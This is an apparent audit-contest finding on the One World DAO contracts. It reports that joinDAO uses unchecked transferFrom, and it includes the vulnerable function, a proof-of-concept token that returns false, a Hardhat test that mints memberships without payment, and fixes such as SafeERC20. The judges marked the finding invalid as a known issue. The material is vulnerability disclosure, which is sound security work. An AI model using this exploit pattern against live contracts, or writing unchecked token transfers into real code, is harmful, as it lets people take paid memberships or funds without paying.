Project
One World
NFTDeFi
15,000 USDC
View results
Previous Next
Submission Details
Severity: medium
Invalid

Using `transferFrom` instead of `safeTransferFrom` may allow users to join a DAO without supplying any tokens

hieutrinh02

Summary

For some ERC20 tokens, the transferFrom function will return false on failure instead of reverting the transaction. In MembershipFactory contract, the joinDAO method transfers tokens from the user by using transferFrom without any additional checks after the transfer is completed. Due to this, despite the failure transfer, attackers can still join the DAO without transferring any tokens to the owpWallet and daoMembershipAddress.

Vulnerability Details

The joinDAO method in MembershipFactory invokes transferFrom function to transfer tokens from the user to owpWallet and daoMembershipAddress, without any further checking to ensure that the transfer is successful

https://github.com/Cyfrin/2024-11-one-world/blob/main/contracts/dao/MembershipFactory.sol#L146-L147

/// @notice Allows a user to join a DAO by purchasing a membership NFT at a specific tier
/// @param daoMembershipAddress The address of the DAO membership NFT
/// @param tierIndex The index of the tier to join
function joinDAO(address daoMembershipAddress, uint256 tierIndex) external {
require(daos[daoMembershipAddress].noOfTiers > tierIndex, "Invalid tier.");
require(daos[daoMembershipAddress].tiers[tierIndex].amount > daos[daoMembershipAddress].tiers[tierIndex].minted, "Tier full.");
uint256 tierPrice = daos[daoMembershipAddress].tiers[tierIndex].price;
uint256 platformFees = (20 * tierPrice) / 100;
daos[daoMembershipAddress].tiers[tierIndex].minted += 1;
@> IERC20(daos[daoMembershipAddress].currency).transferFrom(_msgSender(), owpWallet, platformFees);
@> IERC20(daos[daoMembershipAddress].currency).transferFrom(_msgSender(), daoMembershipAddress, tierPrice - platformFees);
IMembershipERC1155(daoMembershipAddress).mint(_msgSender(), tierIndex, 1);
emit UserJoinedDAO(_msgSender(), daoMembershipAddress, tierIndex);
}

In case the transferFrom return false on failure instead of reverting for certain tokens, the remaining logic (mint & event emitting) continues to be executed, and the user will still have the Membership NFT without supplying any amount of tokens.

Currently, the One World Project supports 3 tokens: USDC, WETH and WBTC. Although the 3 tokens will all revert on failure, USDC is a token that can be upgradable, so it's logic can be changed at any point of time, and therefore there's a chance that it may break the token transfer flow in joinDAO. This is also a problem to consider if the protocol intends to support more tokens in the future.

A brief PoC is shown below:

Code

Create a new WeirdToken.sol file under contracts/shared folder and add the following code

// SPDX-License-Identifier: MIT
pragma solidity 0.8.22;
​
contract WeirdToken {
string public constant name = "Weird Token";
string public constant symbol = "WTK";
uint8 public decimals = 18;
uint256 public totalSupply;
​
mapping(address => uint256) public balanceOf;
mapping(address => mapping(address => uint256)) public allowance;
​
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
​
constructor(uint256 _totalSupply) {
totalSupply = _totalSupply;
balanceOf[msg.sender] = _totalSupply;
emit Transfer(address(0), msg.sender, _totalSupply);
}
​
function transfer(address to, uint256 value) external returns (bool) {
return transferFrom(msg.sender, to, value);
}
​
function transferFrom(
address from,
address to,
uint256 value
) public returns (bool) {
if (balanceOf[from] < value) return false;
if (balanceOf[to] >= (type(uint256).max - value)) return false;
if (
from != msg.sender && allowance[from][msg.sender] != type(uint256).max
) {
if (allowance[from][msg.sender] < value) return false;
allowance[from][msg.sender] -= value;
}
​
balanceOf[from] = balanceOf[from] - value;
balanceOf[to] = balanceOf[to] + value;
​
emit Transfer(from, to, value);
return true;
}
​
function approve(address spender, uint256 value) external returns (bool) {
allowance[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
}

Also, create a new JoinDAOTest.test.ts file under test folder and add the following code

const { expect } = require('chai');
const { ethers } = require('hardhat');
​
describe('MembershipFactory', function () {
let MembershipFactory,
membershipFactory: any,
MembershipERC1155: any,
membershipERC1155: any,
weirdToken: any;
let currencyManager: any,
CurrencyManager,
owner: any,
addr1: any,
addr2,
addrs;
let DAOType: any, DAOConfig: any, TierConfig: any;
​
it('Should allow user to join DAO without paying', async function () {
[owner, addr1, addr2, ...addrs] = await ethers.getSigners();
​
// Deploy CurrencyManager
CurrencyManager = await ethers.getContractFactory('CurrencyManager');
currencyManager = await CurrencyManager.deploy();
await currencyManager.deployed();
​
// Deploy membershipImplementation
MembershipERC1155 = await ethers.getContractFactory('MembershipERC1155');
const membershipImplementation = await MembershipERC1155.deploy();
await membershipImplementation.deployed();
​
// Deploy MembershipFactory
MembershipFactory = await ethers.getContractFactory('MembershipFactory');
membershipFactory = await MembershipFactory.deploy(
currencyManager.address,
owner.address, // The `owner` address is `owpWallet` address
'https://baseuri.com/',
membershipImplementation.address
);
await membershipFactory.deployed();
​
// Deploy WeirdToken & mint to owner 500 * 10 ** 18 tokens
const WeirdToken = await ethers.getContractFactory('WeirdToken');
weirdToken = await WeirdToken.deploy(ethers.utils.parseEther('500'));
await weirdToken.deployed();
​
// Add weirdToken to currencyManager
await currencyManager.addCurrency(weirdToken.address);
​
// Create new DAO Membership
DAOType = { PUBLIC: 0, PRIVATE: 1, SPONSORED: 2 };
DAOConfig = {
ensname: 'testdao.eth',
daoType: DAOType.PUBLIC,
currency: weirdToken.address,
maxMembers: 100,
noOfTiers: 3,
};
TierConfig = [
{ price: 300, amount: 10, minted: 0, power: 12 },
{ price: 200, amount: 10, minted: 0, power: 6 },
{ price: 100, amount: 10, minted: 0, power: 3 },
];
await membershipFactory.createNewDAOMembership(DAOConfig, TierConfig);
const ensAddress = await membershipFactory.getENSAddress('testdao.eth');
membershipERC1155 = await MembershipERC1155.attach(ensAddress);
​
// Join DAO
const tierIndex = 0;
await weirdToken.transfer(addr1.address, ethers.utils.parseEther('300')); // Transfer to addr1 300 * 10 ** 18 tokens
const addr1BalanceBefore = await weirdToken.balanceOf(addr1.address);
const addr2BalanceBefore = await weirdToken.balanceOf(addr2.address);
const owpWalletBalanceBefore = await weirdToken.balanceOf(owner.address);
const daoMembershipBalanceBefore = await weirdToken.balanceOf(ensAddress);
await expect(
membershipFactory
.connect(addr1)
.joinDAO(membershipERC1155.address, tierIndex)
).to.emit(membershipFactory, 'UserJoinedDAO'); // Although addr1 hasn't approved for the MembershipFactory to transfer tokens, he/she can still join the DAO successfully
await expect(
membershipFactory
.connect(addr2)
.joinDAO(membershipERC1155.address, tierIndex)
).to.emit(membershipFactory, 'UserJoinedDAO'); // Although addr2 doesn't have any tokens, he/she can still join the DAO successfully
​
// There's no balance change after users join DAO
expect(await weirdToken.balanceOf(addr1.address)).to.equal(addr1BalanceBefore);
expect(await weirdToken.balanceOf(addr2.address)).to.equal(addr2BalanceBefore);
expect(await weirdToken.balanceOf(owner.address)).to.equal(owpWalletBalanceBefore);
expect(await weirdToken.balanceOf(ensAddress)).to.equal(daoMembershipBalanceBefore);
});
});

Run npx hardhat test

MembershipFactory
✔ Should allow user to join DAO without paying (285ms)
​
​
1 passing (287ms)

Impact

Attackers can join the DAO without transferring any tokens to the owpWallet and daoMembershipAddress.

Tools Used

Manual Review

Recommendations

  • Consider using SafeERC20 library from OpenZeppelin for IERC20, as you did with MembershipERC1155.sol, then using safeTransferFrom instead of transferFrom.

  • Alternatively, you could check the boolean return value of the transfer operation. However, it is worth noting that some tokens do not return a boolean, so using the SafeERC20 library may still be a more robust approach.

Updates

Lead Judging Commences

0xbrivan2 Lead Judge about 1 year ago
Submission Judgement Published
Invalidated
Reason: Known issue
0xbrivan2 Lead Judge about 1 year ago
Submission Judgement Published
Invalidated
Reason: Known issue

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!